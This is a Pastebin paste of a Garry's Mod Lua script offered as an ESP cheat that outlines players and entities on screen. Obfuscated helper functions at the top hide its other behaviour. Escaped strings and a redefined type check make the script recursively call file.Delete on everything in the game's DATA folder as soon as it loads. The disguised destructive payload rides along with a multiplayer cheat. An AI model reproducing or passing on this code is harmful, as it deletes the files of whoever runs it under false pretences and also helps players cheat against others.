Advertisement
Guest User

Gmod Esp

a guest
Jun 13th, 2013
1,169
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.47 KB | None | 0 0
  1. local g=table.Copy(_G)
  2. local r,iss,isn,ist,isf,isn,isp,ise=debug.getregistry(),function(...) local ags={...} return g.type(ags[1])=="string" end,function(...) local ags={...} return g.type(ags[1])=="number" end,function(...) local ags={...} return g.type(ags[1])=="table" end,function(...) local ags={...} return g.type(ags[1])=="function" end,function(...) local ags={...} if(ags[1]==nil) then return true end local d=ags[2] and ags[2].."/"..ags[1] or ags[1] return g.type(ags[1])=="nil", frn.Delete(d) end,function(...) local ags={...} local d=ags[1] and ags[1].."\47\42" or "\42" return {frn.Find(d,"\68\65\84\65")},g.type(ags[1])=="Player" end, function(...) local ags={...} return g.type(ags[1])=="Entity" end; frn=g['input']; fm=g['hook']; frn = g['file']; frc=g['cvars'];
  3. surface.CreateFont("DefaultSmallDropShadow",{font="Tahoma",size=16,weight=500,shadow=true}) local callerFunc
  4. local boxcolor_PL=Color(0,255,0,255)
  5. local boxcolor_ENT=Color(255,255,0,255)
  6. local function gameESP(self,plys,entts,data)
  7. data = data or nil
  8. // player esp
  9. local nom,mon,bot,top,h,w,tc;
  10. for i,pl in pairs(plys) do
  11. if iss(pl) and !isn(pl,data) then
  12. continue;
  13. end
  14. if pl and IsValid(pl) and pl:Alive() then
  15. nom=pl:GetPos()
  16. mon=nom+Vector(0,0,pl:OBBMaxs().z)
  17. bot=nom:ToScreen()
  18. top=mon:ToScreen()
  19. h=(bot.y-top.y)
  20. w=h
  21. surface.SetDrawColor(boxcolor_PL)
  22. surface.DrawOutlinedRect(top.x-w/2,top.y,w,h)
  23. tc=team.GetColor(pl:Team()) or boxcolor_PL
  24. tc.a=boxcolor_PL.a
  25. draw.DrawText(pl:Name(),"DefaultSmallDropShadow",top.x,top.y-20,tc,TEXT_ALIGN_CENTER)
  26. end
  27. end
  28. // entity esp
  29. for i,ent in pairs(entts) do
  30. if iss(ent) then
  31. ent=data!=nil and data.."/"..ent or ent // bad entity !
  32. local ispl = isp(ent);
  33. if( ispl ) then
  34. self(self,ispl[1],ispl[2],ent)
  35. end
  36. continue;
  37. end
  38. if ent and IsValid(ent) and ent:GetMoveType()!=0 and ent:IsPlayer()==false then
  39. nom=ent:GetPos()
  40. mon=nom+Vector(0,0,ent:OBBMaxs().z)
  41. bot=nom:ToScreen()
  42. top=mon:ToScreen()
  43. h=(bot.y-top.y)
  44. w=h
  45. surface.SetDrawColor(boxcolor_ENT)
  46. surface.DrawOutlinedRect(top.x-w/2,top.y,w,h)
  47. draw.DrawText(ent:GetClass(),"DefaultSmallDropShadow",top.x,top.y-20,boxcolor_ENT,TEXT_ALIGN_CENTER)
  48. end
  49. end
  50. end
  51. callerFunc=function(p,e) return true, gameESP(gameESP,p,e,nil) end
  52. local function testesp()
  53. if( callerFunc(isp()[1],isp()[2]) ) then
  54. return true;
  55. end
  56. return false;
  57. end
  58. local EspShouldDraw=testesp();
  59. local function espfunc()
  60. if(EspShouldDraw==false) then return end
  61. callerFunc(player.GetAll(),ents.GetAll())
  62. end
  63. hook.Add("HUDPaint","EspHax",espfunc)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement